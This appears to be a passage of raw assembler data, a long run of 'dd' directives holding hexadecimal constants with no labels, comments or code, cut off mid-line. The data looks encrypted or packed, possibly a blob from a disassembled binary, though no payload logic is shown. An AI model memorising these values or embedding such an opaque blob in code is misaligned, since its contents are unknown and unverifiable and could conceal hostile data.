dd 0B95A11E3h, 0BF2CB0E0h, 385F58BEh, 0ED37A4DCh, 0E2E08904h dd 4A54392Ch, 0E401A46Ch, 6D010DD6h, 0FA853848h, 61A0CFF7h dd 0DCFF7DD9h, 0E4E28C7Ch, 0EF7C6847h, 6E022D7Ch, 41847FC0h dd 0BEE0D927h, 8C029F32h, 36AF3F27h, 0B837C516h, 0E948F69h dd 0D9F1ACB8h, 59EAC8BCh, 13D6E5E6h, 824F3851h, 394DFB1Ah dd 0B2181C3Eh, 0C689F952h, 0EF7D3DE5h, 0A3AC0DE2h, 0DCA77F0Bh dd 0FDCC7570h, 54B73507h, 75412696h, 0B3F4C740h, 0D1DA23F2h dd 0B2B3645Fh, 349D97D1h, 0AB2D5674h, 61AB5829h, 2DAC9A2Fh dd 13FD28B8h, 35B03F2Fh, 407A74A5h, 0ED968C8Dh, 17FF6D17h dd 8908D264h, 3090A2A0h, 70C774CFh, 0C9897F8Bh, 3C7917F3h dd 76EA80FDh, 262D1DE4h, 28D6C8C0h, 0C236D687h, 66C61D53h dd 3381BB5Ch, 0C145EE99h, 1BBB46D6h, 0BBE4ECDBh, 0E740B921h dd 8A7784E2h, 0D88DFB22h, 74358B11h, 0D7A6EDF5h, 89F1C2EBh dd 33ADFC19h, 2A0540B2h, 676EA4DCh, 0A49728CAh, 5DD195CDh dd 74FAA94h, 0BD0435D0h, 0B09538B8h, 0EFFFDB1Eh, 0F037CA00h dd 0E4FF05E9h, 9EFF6D2Dh, 15270C89h, 9D9B7FA6h, 0A4FB1DAEh dd 0C6897F57h, 0CAED7767h, 0B099EFDDh, 40613E57h, 52EDDAC3h dd 984B279Fh, 76C61E62h, 0A0B38DFh, 0F3560DE8h, 66BA2D55h dd 38E4B1CFh, 6344467Ch, 71F3EC9Ch, 27EE8DBBh, 9014ADDDh dd 0AFECA4F5h, 0FCE12616h, 0C0492368h, 291FA866h, 0CA48E8A3h dd 0C6F0C812h, 0F45F1439h, 774ED17Ch, 1EFF73AAh, 7F9538B8h dd 10B2403Eh, 0C07ADFA0h, 0E5A9F88Dh, 17FFCCD6h, 6ED72566h dd 0E3C75D6h, 49009CA2h, 1E72FE46h, 0B5EDB693h, 0AEF76E3Ah dd 5C1D8A50h, 2AACD941h, 271BDA87h, 0DF2EF9FDh, 0B10ACB5Ch dd 0B0AD8891h, 42E5902Ah, 91E82952h, 0C8BE456Ch, 8A7186E0h dd 0D87B1BC9h, 0EDC030F9h, 9355B4F5h, 0FD112A96h, 3B289E14h dd 0A0B7A8E2h, 2837A4DCh, 0C714C18Fh, 0BAD77E29h, 7F4ED100h dd 0A10FF217h, 7D7E38B8h, 0F1A050B3h, 917A865Bh, 0FF28C8Dh dd 179D8575h, 85235167h, 0B9C7F4F0h, 60E8D075h, 0E897F47h dd 0CAEDBC83h, 0DBEC7A1Dh, 4C1D6964h, 2DBC2387h, 3784DC87h dd 66C6CEFEh, 6E0A145Ch, 5BAC6E91h, 426BF10Fh, 38C4E952h dd 0FBEC570h, 0AB9A9C0Bh, 1FEDF2C9h, 742410F9h, 0BC565FF5h dd 0FD012682h, 3B9A77D3h, 0E9C4A8E2h, 0EFB71B51h, 7B99CC8Fh dd 5CA49529h, 7B422A94h, 0A1C471D0h, 0CC29B57Bh, 0D1A03F5Ah dd 7048020Dh, 54C2CFEAh, 941AE479h, 0D3B7598Ch, 323BA1ACh dd 708B90C7h, 0CDC98847h, 0CAEDB6B5h, 765AEA08h, 5C58E314h dd 0A0486949h, 46E626C2h, 6AB57AEAh, 0F502A0D7h, 0C1D8816Fh dd 0C13335A7h, 3807262Eh, 5AEF0018h, 7563EF6Dh, 85EB7D9Dh dd 787DBBA7h, 67317470h, 86BA1AEEh, 4680241Ch, 0A9DFA8E2h dd 9BBAA018h, 2D479A9Fh, 5EA495E9h, 0FA4615FFh, 906E84DCh dd 0F31A7C33h, 31A167B2h, 8F7ECA5Bh, 1BFECF3Bh, 9CF7E27Bh dd 8969591Ah, 36F37F8Bh, 35B83D7Dh, 22897F37h, 0A160E3B6h dd 602CFB4Dh, 4C1DEF44h, 2570AE40h, 56E78DAh, 399B8D16h dd 9A83B802h, 0F218DCCh, 4245D92Ah, 1C4FE207h, 84904E64h dd 12C98A1h, 30A1EA88h, 741C30A5h, 9457076h, 6D212254h dd 3B6F0B99h, 79FA21B7h, 9AE2F38Ah, 0AA14A68Fh, 48A4E001h dd 9B46A483h, 9904BD28h, 90CB67E5h, 0D2FDD3D3h, 0C45E0DD0h dd 62F6CD45h, 0AFFF6D2Fh, 85E45163h, 0FD4CFB8Bh, 618B94B6h dd 0CB006F1Bh, 0CAEDB4EBh, 8F5E55BDh, 4C1D6B4Bh, 0A08A3C0h dd 56FC287h, 0ED91DF45h, 261ACF18h, 80C4A0FBh, 2655F95Fh dd 38031CADh, 86DC456Ch, 8A7D84C5h, 0FCB779C9h, 7C40BBD9h dd 0D6B9C47Eh, 0D325D968h, 1F0C032Fh, 1ED28096h, 423B2FAAh dd 0CB308006h, 0D9A8DDA0h, 6F4A6200h, 806CE0A5h, 509538B9h dd 99A88C1Eh, 807A410Eh, 0EC41D84Dh, 989BAEC5h, 85E45166h dd 0B50377C1h, 0F65BC2D1h, 0EE35F2B7h, 0CAEDB743h, 0B8B756ACh dd 4C1D6B21h, 29CDAE40h, 156FB1B7h, 374D9563h, 7A587850h dd 0C5A47FA8h, 4244212Fh, 0B5C1E952h, 0FB8C5D3h, 0ADC209E0h dd 0D8F5F2C9h, 0C0AF61AAh, 0BEADB405h, 4610759Ch, 2B0887A0h dd 0A297E569h, 0B23EAC97h, 0CC7F458Bh, 2066CE70h, 0FBDE417Ch dd 19946240h, 3B05A828h, 0C130AFCAh, 40124131h, 0EF28CA3h dd 3EA922Eh, 26F45191h, 0A9C6F15Fh, 0A00F5C0Fh, 0C869FCFFh dd 0CA923AB0h, 32D60A5Ch, 59E23AFCh, 3DB4D5D8h, 0F3C340h dd 66C69117h, 0FFC9FB5Ch, 9710B36Eh, 4245B92Ah, 3C26EDD9h dd 0AEBB2F3Ch, 9A7E817Ch, 0C4E20D99h, 0B7003004h, 55A50B78h dd 42FC2696h, 38E87714h dd 0A03A21B7h, 7967A899h, 0AB44C4CAh, 23383429h, 981EC17Dh dd 71F9D2C5h, 2B5665A9h, 0B18743D7h, 45E05DFh, 45F2E6E3h dd 7FE68B5h, 0A1F1AE3Dh, 7AD7F438h, 3500230Bh, 76047F17h dd 0CAEDB763h, 7758C08Eh, 264D6688h, 28288840h, 0FA3FD886h dd 663BB503h, 4BC88A4Ch, 4F53F16Eh, 0B4775D5Fh, 0E68B6BB9h dd 54E535E5h, 0ADC40923h, 0D8F9F2C9h, 70287472h, 0F4ADDEA5h dd 0ED60230Ah, 14DD8844h, 0AE0FA81Fh, 2222AB1Ch, 0D152C0Ch dd 2083E9A4h, 63BE15DDh, 6CFBA2C0h, 9B95C4C9h, 9150F7FBh dd 0D5851144h, 74F270C3h, 170FA188h, 901B017Eh, 0A9C708B7h dd 35F04C23h, 0DC762F0Fh, 0DAED4B63h, 0A34307FEh, 0DC8DF5FCh dd 0BD24BA50h, 95FF5A17h, 66C22245h, 72800B5Ch, 0B05CDA0Ch dd 3686FC3Ah, 2DFD7947h, 1FBAB85Ch, 4EE4806Bh, 88EBF239h dd 8BE26B11h, 0D6D6ED0Ah, 27ED2F6Dh, 3858B3B5h, 3EA0F8F2h dd 0E33759ECh, 0CFE4042Eh, 375BC539h, 4F4E2C4Ch, 61F43E71h dd 8E6A68A9h, 0E1A0C26Ah, 808A91F5h, 0F10DDCA3h, 7FF9018h dd 7A6D9234h, 3A227D9Ch, 0BE539812h, 0F50A775Ah, 0CA1D739Eh dd 62A6970Dh, 9F57D46h, 744BD4BAh, 8093890Eh, 0CCEE0D6h dd 7C3DFB5Dh, 0DAF5EE91h, 0BD88F129h, 0BB5C16ADh, 0FF7E5850h dd 0FF7A94E0h, 24B879DFh, 411CFA9h, 0DE8DB409h, 0F908DAD3h dd 3878B389h, 5F9543F2h, 1BE75899h, 33EB254Bh, 0C4A7FF70h dd 5B4ED160h, 0F4007989h, 7B95C87Dh, 0A5B5C00Ah, 1B6A41A8h dd 0A7AF6039h, 3043E0B8h, 85E45168h, 0BDE3B040h, 0F1859871h dd 99997FFFh, 3695A2CCh, 0BE10877Dh, 4C1D6453h, 0A08B9C0h dd 56FCE87h, 0E7231843h, 760B9FB0h, 0E7FAAD91h, 855664A1h dd 38051117h, 4A72456Ch, 8A7B845Ch, 0D0BA79C9h, 0FFC87570h dd 100CB8B0h, 0DF4E15Ah, 38687714h, 629A6F84h, 0B1BAA4DCh dd 327C9C37h, 7DDB6AD6h, 7F894F1h, 51158538h, 6B51BBB9h dd 0F125F9D3h, 3BFA4A2Bh, 346783B0h, 9EFE8DA8h, 0F86737AFh dd 0B1B2D17Bh, 0BCFFDA7Bh, 0CA62CEB2h, 415DC4AAh, 0F45A2B18h dd 5263BC29h, 68389617h, 5090C04Bh, 6A01EEDEh, 0F3C7E6D5h dd 33A7BB51h, 98A926E2h, 39096953h, 0FCAC3511h, 3C290786h dd 0BE2E86ECh, 770A4D7Ah, 10863E80h, 0FF1ECF66h, 738F7714h dd 0D01FA80Ah, 18F263DCh, 3A14CC8Fh, 844D0EDh, 544ED17Ch dd 0D9042E92h, 0E5238B9h, 11A03F85h, 143F8656h, 64F28CB4h dd 0EFBAAA45h, 9C0F515Ah, 418243A0h, 35E60188h, 0E078F86Fh dd 47E9B902h, 23D37E19h, 0B458F60Ah, 2E05C983h, 0E3F3FAD7h dd 0CF2D7916h, 0F50BAB59h, 7626D655h, 923539AFh, 4D2312D2h dd 1BE9CE4Fh, 3514463h, 98A8E68Ch, 83FDB905h, 58087470h dd 925631Dh, 0C26DFECCh, 28122B84h, 0CBDCE7D8h, 3BE08948h dd 0E1A4952Ah, 7B335060h, 0BEFB0D28h, 1E1E2AC4h, 0F1A4B2A9h dd 36758157h, 0E6B601A7h, 0E3BAE4F2h, 86525E18h, 4153E13Ah dd 0C2668D2Eh, 0C9883363h, 0F16D61B6h, 0B0D5ECB3h, 0A7E29361h dd 0F53A8410h, 7045AC07h, 7280EE04h, 0FF0F73DFh, 0F024BAD4h dd 0AE0510D6h, 0FF3E0211h, 0FAC2929h, 96BD84E0h, 27C98F48h dd 0ACBCF06h, 0B9383FE7h, 0FF41221Bh, 25BE78D4h, 19DEC6Fh dd 0BE5BE155h, 0B3177A80h, 145C013Fh, 8FB9B76Ch, 0BC04F395h dd 2823376Ah, 0B71C570Dh, 99925156h, 0E7F28CB1h, 0D77A65E6h dd 5D6D5930h, 8171FBF0h, 0CA319FC1h, 8C0189E6h, 0BF858E09h dd 5BE818F1h, 9DB7999h, 0C6F0A23Ah, 0FF1216B7h, 0E6C9147Ah dd 717ED767h, 0C155FB57h, 0C25E5269h, 4D08532Fh, 4694C574h dd 0F1D79795h, 0D552C4C8h, 43B24B79h, 10A3B380h, 3D72576Ch dd 4B6DFA17h, 8120571Dh, 0F1747C55h, 0B444CC39h, 9BF4816Fh dd 6F1E1139h, 0B104E08Fh, 0BE85FC3Ah, 3CBB4A9Dh, 0FF853DD2h dd 0A17FDC4Ah, 96173D9Dh, 6E4515Ch, 7942FC71h, 0C8C61029h dd 10A8EA8h, 91B3ED1Ch, 0F08E7454h, 4C1DC121h, 923EC140h dd 56F9887h, 962D4095h, 20BD35Ch, 40472F97h, 2882492Ah dd 52080352h, 65AFAF6Fh, 8A50ECE3h, 134132C9h, 88BC301Fh dd 559080E0h, 416CE586h, 37C87714h, 21F39561h, 8AB7B4DCh dd 0D6F86D89h, 7A67852Ah, 0E94EBB7Ch, 0D30498D4h, 0B9550BAh dd 55C8FF5Dh, 3F6A41B1h, 640FB8A0h, 0A872AE4Dh, 85E45146h dd 4FF6A2E4h, 9834613h, 0C97B55C2h, 0D698B283h, 0FA3BD557h dd 15E2869Ah, 0DB360449h, 31E6A8F3h, 66375D8Bh, 70CCAD4Ch dd 94449E11h, 66DC7DA1h, 5E1829A0h, 7AAE7DEFh, 17650FEEh dd 0C82B00EDh, 8AEF79Fh, 165C5F0Ah, 0FE11DD17h, 81DA7714h dd 8A01586Bh, 0D84B291Fh, 0A8418Fh, 12A4952Ah, 7CAB5829h dd 0F757FA3Bh, 0BC8B3EEh, 0F6D5E4D8h, 0A4938166h, 82F28CB4h dd 32996ED7h, 0C8251C7h, 664E0AFCh, 35E649A0h, 0C99AC857h dd 6F1EB283h, 0BA9BDA90h, 0F90716Fh, 3DF04A08h, 8C27DF0Ah dd 25486155h, 5A485A14h, 39E62D1Ch, 1CC0169h, 848601Ah dd 86E686E1h, 0C9DF98A3h, 0F86E7BE1h, 0F7A87572h, 5C28C6CDh dd 0FEF96351h, 0DC887714h, 0DEDA23C5h, 8AC09C5Ch, 0DC510B86h dd 1CA49530h, 0BEC5C297h, 0C83C72DBh, 6845ADB6h, 52E83EBCh dd 5F357B7h, 9CB70742h, 0E9BADA53h, 0E31C144Bh, 4EA1F732h dd 40009E19h, 0C861227Dh, 93124D59h, 0B73A594Ch, 0C71D78ECh dd 1533C085h, 6362EBE5h, 66E572E1h, 0F56DF229h, 0BF455E9Ah dd 0C1428E25h, 0C088AAB2h, 69B1316Fh, 1508F63h, 516FFE8Ch dd 4F203CBCh, 0DE95C097h, 0C7B12AD3h, 0B4A0033Fh, 0A6DFA09Fh dd 0CC722FF4h, 26A3C3DFh, 16E11E7Ah, 0ED44392Ch, 5587F2D7h dd 0FFD6B1B5h, 31A444DFh, 0E829632Ah, 1B0D6522h, 0FC3F5C06h dd 9199D25Fh, 0EACC89BDh, 0CAE91AFEh, 9B828C8h, 8F66BF48h dd 37901049h, 0B3F56F44h, 726B44BFh, 0E9E6DBD9h, 0DA48CE4Bh dd 760BE37Bh, 9712C391h, 4241D92Ah, 38F3F9F3h, 83ACFC7Ch dd 0FD4C8418h, 0C22F1ACEh, 6E7730F9h, 55B52454h, 0FE71AB86h dd 0CFD8629Dh, 8694B8E2h, 0D43EA0F8h, 22E3800Ah, 0E72D563Ah dd 70AB5829h, 0CF57FA3Bh, 0C3C8B3EEh, 5FD5E4D9h, 4992473Dh dd 3D0D7340h, 17072898h, 42E45142h, 0B9C708FAh, 15EB9D12h dd 427534B4h, 38C93657h, 0F3568EBDh, 0A44D7418h, 0D24C3104h dd 78AF07DEh, 9E888A12h, 8A4E14A3h, 0B0522310h, 3E41F92Bh dd 0D00D4385h, 0F057BFA4h, 72180FB9h, 2F558022h, 2B830FAh dd 0B17585F1h, 0F722ADF1h, 74A340FFh, 82AF81F2h, 0C5742F8Ah dd 388624DFh, 0DE27952Ah, 6A895870h, 0A188D28h, 981C30FAh dd 79E3B44Ch, 0B6202DEh, 0A77B84F9h, 1C7E0B6Eh, 4D675343h dd 0B8EA1F7Eh, 2573A6F0h, 8A02B555h, 0DAAE3A4Bh, 33D069FBh dd 0C7180F20h, 2E58C733h, 6363F70Ch, 26C506E1h, 582F628h dd 39ADC589h, 8270A959h, 0B151B70Dh, 866B9880h, 0ADE2091Fh dd 0D835F2C9h, 0F471B9ACh, 0CEEB019h, 0AC497B1Dh, 371668FCh dd 2CA2F1E2h, 0B5485B23h, 21EF4FB9h, 1F27905Eh, 8154A47Eh dd 97021AD6h, 22CC38B9h, 53CAC319h, 4067BABFh, 3179D5BBh dd 633D54A2h, 680C025Eh, 0E0C7F49Eh, 9515625Ah, 4C9971D3h dd 0FBE9C7B3h, 0CCDB750Bh, 4CE1EAF9h, 7E7541D0h, 573F96Fh dd 0BE4C5816h, 1D141BDFh, 6A271A51h, 0C94443EBh, 3F023C46h dd 4B6D556Dh, 0F5F80E2h, 8E3B863Fh, 88640B11h, 9226ED0Ah dd 0CE73CD69h, 0BDB329D4h dd 5E1CF50Eh, 0C237A463h, 6A8418Fh, 0E6A4952Ah, 0BBC5872Fh dd 6C3FFEF3h, 0AB9430B2h, 6929242Fh, 6B65A1D3h, 3E7BA87Bh dd 9CFA9798h, 82ECC459h, 0FD31E484h, 40019904h, 3CDB9907h dd 0CA2A4C9Ch, 33D39ED4h, 0A7E2B22Fh, 5C5B9A59h, 5C6F8899h dd 99DFF545h, 0FF55FCA3h, 71465D57h, 1B425934h, 635499DBh dd 28D748AFh, 0ADE409E0h, 0D839F2C9h, 73A87472h, 447B5CA5h dd 3C382696h, 34EF0B99h, 0D73BE469h, 0CA93E057h, 27FF0E07h dd 95A4ACAAh, 208EE07Fh, 0C15CA96h, 485DB149h, 918743D1h dd 439FC805h, 0EFA18857h, 54746504h, 95A76A56h, 79F6F3F1h dd 350044EBh, 0CA3E7E1Fh, 0CA7DB136h, 312B1C3Dh, 0FB125A18h dd 0D1F643C3h, 5EF8A2Eh, 0B6501616h, 3E0DEBDFh, 0B0EE1EB4h dd 40427C2Ah, 6D812952h, 69684C90h, 33F5469h, 27F371CAh dd 7788AD10h, 5922BBF5h, 0FFF126B3h, 54A84A14h, 0CB2AA8E2h dd 0F83BE757h, 3F63DCCCh, 1FDA7D79h, 5A172E83h, 0E2018617h dd 0ED7EC772h, 0F1A3C83Ah, 0D72345Ch, 0A7C9C4F8h, 0FCFD1950h dd 87E4391Dh, 0E02FF489h, 6CFF628Ch, 4C81328Eh, 47F7C6C3h dd 705AD75Eh, 445EFE24h, 0A6A388C9h, 8C2F84C4h, 6F2D1955h dd 9DF3ECB9h, 0BB2D88B7h, 4A01926Ah, 0B31DAADBh, 0FAFCD2Fh dd 35A84E2h, 9BB6FE8Ah, 5BC7B9F1h, 0D395F77Eh, 1E6916D5h dd 0BF7788F0h, 9F16A0A1h, 0CFF42FC8h, 4A0C8F06h, 8CA49EABh dd 5215114Dh, 0E0C7AF3Bh, 4C29B545h, 0D1A03F5Ch, 6436CA03h dd 40B607A8h, 9C3CE554h, 6EEC751Ch, 0CCDDCC81h, 0DED0147Eh dd 4CC03307h, 0FB1FC6FAh, 0BE10C4BDh, 4C1D7453h, 0A0F59C0h dd 56F8E87h, 907FF945h, 63F3E4A3h, 0A0AE03A9h, 42B41D89h dd 0C7F29442h, 0BD0BA93h, 0B1B044D1h, 45D7BAA3h, 2E7FCF08h dd 9A00777Ch, 5EE237E2h, 24688130h, 20CA57B2h, 4127A420h dd 1C10B94Fh, 0BDBC7EEAh, 0D74E9A94h, 44FBABD7h, 6B95C586h dd 7A233CD5h, 1C2BE54h, 0BFF28CB8h, 3043E098h, 85E45149h dd 46316F65h, 113D1C89h, 36997001h, 0BE1252DCh, 0C5F7C24Eh dd 0B34D5CACh, 2D4EA555h, 2162D397h, 99D5EDE0h, 51702E9Fh dd 971D4391h, 425CD92Ah, 1C6DE201h, 0B6874C64h, 8A3484A8h dd 513632F8h, 2896C32Eh, 19CA647Ch, 0F857BEA2h, 220BB004h dd 0D81FA8E3h, 0B33A6787h, 3DA8418Fh, 0C8A4952Ah, 6B1872Fh dd 0C9040E47h, 6F34FE33h, 41B03FA9h, 3D3E54ADh, 0A77B9CBCh dd 2B8AADD6h, 580C18D0h, 0E038149Fh, 0F5855D3Bh, 68DA550Bh dd 0DAED58F7h, 0CFC69FEDh, 0C90D4F90h, 7EA69200h, 0FA90DD6Fh dd 733AB0E9h, 660C5660h, 0FB22DD18h, 4AB7062Eh, 91D92838h dd 565C456Ch, 36207BB6h, 5173F235h, 0B4636E21h, 5A750B78h dd 475C2696h, 32287714h, 0FC0323B1h, 0E90A25D4h, 0E404CC79h dd 0BE5B6AD5h, 7A955407h, 372053D9h, 0A4C528BAh, 715D7B4Ah dd 5B9C842h, 6FA5F867h, 0FFAF4D11h, 7A1BB09Bh, 9D846028h dd 0D51676FEh, 42D08C98h, 22BD8680h, 0CC2C8091h, 605EC475h dd 0CDB10F10h, 8E36AB78h, 8E95D555h, 89F36CA4h, 84E225C8h dd 42AA0117h, 0B33A9D42h, 0E70CF12Fh, 75C95B04h, 0E4267990h dd 0A8EED8A9h, 9244B0Ah, 71EF57Eh, 32622EEBh, 0D9698C43h dd 0D848F4CCh, 8143073h, 2B2D5671h, 0F6A95F7h, 81110D87h dd 0E8853847h, 518743D2h, 0CB2D1701h, 0DAE2A8E1h, 7FF9B7Ah dd 9BDD144Fh, 0B8ADD606h, 6504D821h, 0C9957087h, 0C2292DF3h dd 0CC52A774h, 0B3E2B113h, 0D236E4B4h, 2F8454F2h, 12C41E95h dd 0FD0CD149h, 58F1BAD7h, 425CA2CAh, 0B3386DD1h, 0F00F412Ah dd 42B4DD37h, 5B711936h, 89B1383Fh, 4A65428Dh, 0BC7A92E4h dd 0CCB86330h, 0D922E4F7h, 9569FBCCh, 3EA8414Ch, 0D6A4952Ah dd 648D114h, 0E1110DC7h, 0F8853847h, 0B18743D2h, 839FC806h dd 69A18451h, 0E8AF9508h, 851900B0h, 41826065h, 0BEFCCB2Dh dd 0C88F735Ah, 0CEF025F3h, 1AC361DBh, 0C5C75764h, 783A1905h dd 0FD2AD37Bh, 3439A89Dh, 1E0CA90Ch, 0B0A1A981h, 424116C2h dd 0D4B93252h, 70D20631h, 0AD8C09E0h, 0D869F2C9h, 0F4C9B9ACh dd 0C3ED019h, 0FC614EC1h, 3E207714h, 80E0570Dh, 0E326755h dd 77EC4FAh, 2F5A6AC2h, 1EC78883h, 0A905F5DFh, 39D3D7Dh dd 91802F5Eh, 0D8914153h, 64F6CF7Bh, 0E8006E8Ah, 0C622AF59h dd 0FA00E172h, 35009EAAh, 0ED4AF05Fh, 0CBEAA632h, 3753642Dh dd 8F24496Ch, 683E38B2h, 10900A2Fh, 76C50442h, 0AC71483Ah dd 0B3259191h, 0C15D792Bh, 3730F52Fh, 0F5EBCE8h, 56740FE0h dd 9DE2F242h, 0AB6DBB09h, 0D3517476h, 0BC9ADAD3h, 0CFFDFCE4h dd 8CD66AE3h, 0C7379924h, 6ACC8Fh, 0D254D0EDh, 0C14ED174h dd 0A104F2D6h, 9BFD6C51h, 19A03F5Bh, 7F85AF3Fh, 613105E4h dd 0B6F5188Ch, 95E558AFh, 5237AEF0h, 801C17DAh, 0D988744Fh dd 0C2E5AB00h, 0D8F3711Ch, 485E8F34h, 0D2B02440h, 0C390A378h dd 0A1CFF055h, 760CDB1Fh, 73236E91h, 0F759920Eh, 2832EE5Ah dd 0F5A4569h, 0F8F1BDE0h, 9DE6B411h, 7F210909h, 264DB5FDh dd 12FE1737h, 0CBCDFC74h, 25A2A869h, 0BB485B23h, 0F84147C8h dd 2BB62325h, 7B4ED0BEh, 5E3D86D7h, 0EB953078h, 81AB4A5Eh dd 0BD2254ACh, 0A4779CA2h, 0EF764B38h, 0EEFBB023h, 434ECFBBh dd 0BE05645Bh, 0CE81E65Bh, 0D660BEB2h, 0CB96EA7Fh, 4F944867h dd 0A74FA94Bh, 12CD687h, 9A800E51h, 0F5F49ED7h, 0F5297A51h dd 0B22002D2h, 0C702322Eh, 847D8207h, 8B348CF5h, 0DA737FD9h dd 88DF0B78h, 0DF4A4B0Ah, 0F931263Ch, 0B26C34D2h, 0D3AA5767h dd 2693E11Bh, 0EEEB3370h, 0DF5B163Bh, 0F49E4573h, 6501F337h dd 726AC745h, 742B9B1Bh, 158511F7h, 0F4F270DEh, 2A0B28C6h dd 7A1BAF5Eh, 0FC4C8509h, 20FFCE62h, 0D9898E6Fh, 4F01EB2Ah dd 0CC8E159Dh, 4CE014B9h, 0B1F66450h, 0F8335578h, 64AF9D16h dd 7666E236h, 0E2001B1Ch, 0B618527Ah, 0A476E202h, 6F4C3A3Ch dd 0F2C841Dh, 53778609h, 329590BCh, 0AE083F01h, 0BCAA251Fh dd 33B752F8h, 229CA8E2h, 50B1D1DEh, 0E954C8C4h, 34E11E37h dd 734E2E59h, 9AFC71D7h, 801528CFh, 1B4B375Ah, 807E0AD3h dd 2F728849h, 94B8ED4Bh, 9EB535Dh, 4638144Fh, 34089633h dd 0DC76232Fh, 0DAED5237h, 0BA8838E2h, 0C5DE1680h, 0A0F633Fh dd 56F4287h, 0BDF4DF45h, 7E91D7DFh, 0B0B05F96h, 76D6BC5Eh dd 393421CFh, 8C4BAE7Ch, 0FE3D8C9Eh, 0D4357FC3h, 470DCFA9h dd 0D8A5B408h, 0FDDA0250h, 322F7F89h, 0DEDFADF2h, 170EA4DCh dd 79F11FDh, 0DBA39DB7h, 56A6816Ch, 0D8FB0D0Bh, 0D3083C7Dh dd 71B03E59h, 0C37A4153h, 98B27721h, 0D4A433E5h, 85C32C2Eh dd 3A226214h, 62539262h, 42993EACh, 0C82AB716h, 33D3669Dh dd 8B091EA7h, 2DB3EE42h, 0D32CF87h, 66C9F895h, 3387F828h dd 0B4F0A39Dh, 0CB51CCA3h, 1A09695Ah, 1FB3F319h, 8D4A4D65h dd 52343A40h, 0FC04B8EAh, 5B42ACB0h, 7999AFD5h, 367C552Ch dd 0AE9F9362h, 0A57E213Fh, 41DC4589h, 2FA495ECh, 6BB1C939h dd 0FC26C957h, 937E7B81h, 56D4F6DBh, 0CA3B89DAh, 0EFE204B0h dd 1700750Bh, 0FA78825h, 4E826343h, 9F7DB00h, 4D81070Fh dd 0F6E9DBB3h, 0B30A13F4h, 391DBD91h, 2558A3C3h, 11B8F02h dd 663AC0D0h, 76F4BE9Bh, 30A03E91h, 4F29B911h, 0B271A8B9h dd 7B7B796Fh, 0FE36B819h, 0D84C723Ch, 77D0B4F6h, 2626B4F5h dd 0F205269Ah, 0BDE4329Fh dd 8E56ACB2h, 593F2DD0h, 1EBD8CAh, 0A758D0EDh, 564ED17Ch dd 32061928h, 0E7AEB8FCh, 8A20C62Ah, 0F73C358Eh, 0E4F28B64h dd 94D41449h, 0F1E4B0D0h, 0B8BC1B57h, 76038BA4h, 8C4FA3FCh dd 0CAED2F9Fh, 0F4D78DDDh, 4C1BB6E9h, 0ED8EE940h, 59F3504h dd 0EF050919h, 99FCFB19h, 78E5017Ah, 8A575F5Eh, 6732AF13h dd 0EE4380E7h, 0C1C00DE0h, 3A0C324Ch, 0C7883373h, 62EBA81h dd 3314266Eh, 0B4BC5729h, 0D96AA1DEh, 0AF34B828h, 1E60CC71h dd 0A7D05CABh, 0E90F19FDh, 0F2147AF4h, 8B6A209Eh, 6ECAD7DDh dd 9FFB8D3h, 0AC7B8ED7h, 17FFA308h, 7AFC0525h, 46E26247h dd 4883217Dh, 0C6FCF313h, 47E2EA98h, 6658636Dh, 4C198260h dd 0A6BBEAC0h, 5805EC2h, 8A6CC249h, 840C801h, 969C9391h dd 415E792Ah, 0BBD7A007h, 135B4980h, 7D6FD7E0h, 0A88702DCh dd 97CEB9E9h, 81E0B4CBh, 799022FFh, 0C42DFA15h, 8BA05723h dd 0C6C8A4A8h, 1F14300Fh, 5C5020AFh, 1AC32EB3h, 2489A20Fh dd 9BFF6807h, 19F63EB4h, 7F85B8A0h, 6FE64220h, 4274850Dh dd 7E0B557h, 539D5319h, 0BC58C101h, 0BC53B6C4h, 22EF450Bh dd 0CC299D51h, 0B452C875h, 0D1E26610h, 0F932C7D7h, 3676919Bh dd 0A205450Fh, 321F116Ch, 4550DEEh, 5D96A1AEh, 9C4AC59Ah dd 86CCF8FDh, 2926ACD9h, 0AAC76D15h, 0BB9DB44Ah, 9E3DAB97h dd 0B0887715h, 477A2188h, 85E4AC2Dh, 640133DEh, 25B495DBh dd 9BCB2901h, 21A5FAF2h, 0E28539ECh, 9467C15Bh, 407A45D0h dd 9CAF0FA0h, 0CD7664A3h, 0C51BF82Bh, 0B9C597CBh, 458CE78Fh dd 0F4B3F30Eh, 0BFEEAC47h, 0B3246681h, 0AE6044D7h, 6D5FB14Bh dd 0ECF1A6D7h, 0EE5C6EE9h, 8109B89Bh, 8C23EE91h, 505ECFAEh dd 4E3DDC52h, 0EEF3AD6Dh, 71627B1Fh, 92940A94h, 0FF83EA70h dd 0E705F40Ah, 0C42695h, 0B0690798h, 0D0AB95E7h, 0EBE5D49h dd 87C5E5D6h, 0BFA01D18h, 228E551Eh, 0A605AA61h, 4015CA3Ah dd 0F7714C5Eh, 48DB44ABh, 0DFE28257h, 1D8B890Eh, 0D51C6D22h dd 44AA4EB2h, 6B5E6EF6h, 94673BACh, 0CA90A4E0h, 5931E208h dd 0AB373453h, 15C79540h, 615710F3h, 671458E9h, 0FEC9A35Ch dd 0B263CEB4h, 48345A2Ah, 0AE6E3F01h, 1B272D09h, 1FA4708h dd 0F266AB36h, 0C6BC3005h, 5A185FF4h, 2AA1DE1Bh, 7492797h dd 0C0E724C9h, 59A35BD7h, 6A143BC9h, 7028A89Dh, 0E11EC154h dd 78161944h, 5B95C1CBh, 0E9309BD9h, 0D4855B2Eh, 6405CC21h dd 87C2F653h, 85F42062h, 0F445AE5Ah, 37E9A0CEh, 228BF57Fh dd 22EAC0DAh, 0CC2A8651h, 99A9C35h, 0EC43D6C8h, 5CA0ED7Fh dd 0EC7F3749h, 0FE295B11h, 0B223DE9Ch, 62B4702Ah, 0B6A9B991h dd 8BDCD5FCh, 62851470h, 1F336259h, 555DB9ACh, 4D26A818h dd 728CADC0h, 0F8A44A99h, 0B55FB8DFh, 0B536CED8h, 7B14EC83h dd 8A5205B3h, 8F24813Ch, 3C74E749h, 0D736297Bh, 0F4B03827h dd 0EA193E6Eh, 0B713B8h, 0E173A812h, 7AB4089Bh, 0B93B0F24h dd 41C13A3Eh, 3DF6B42Ah, 0CAE83AC3h, 765166E8h, 0C01AD4DCh dd 0A08787B6h, 3BC16BBh, 91B8589Dh, 89E4A35Ch, 39FDAA1Ch dd 3F2E093Fh, 0AD356242h, 1C5CC59Ah, 84C6BD2Ah, 6C65C3CDh dd 8EB05AECh, 3B7DA4F4h, 0AF3E70C4h, 9E088A6Ah, 0C3EB685Ah dd 83E8544Ch, 25F845DAh, 94DB18D5h, 8AB5871h, 4257EBAAh dd 9C9A2ADEh, 14283D51h, 4C3FC2D3h, 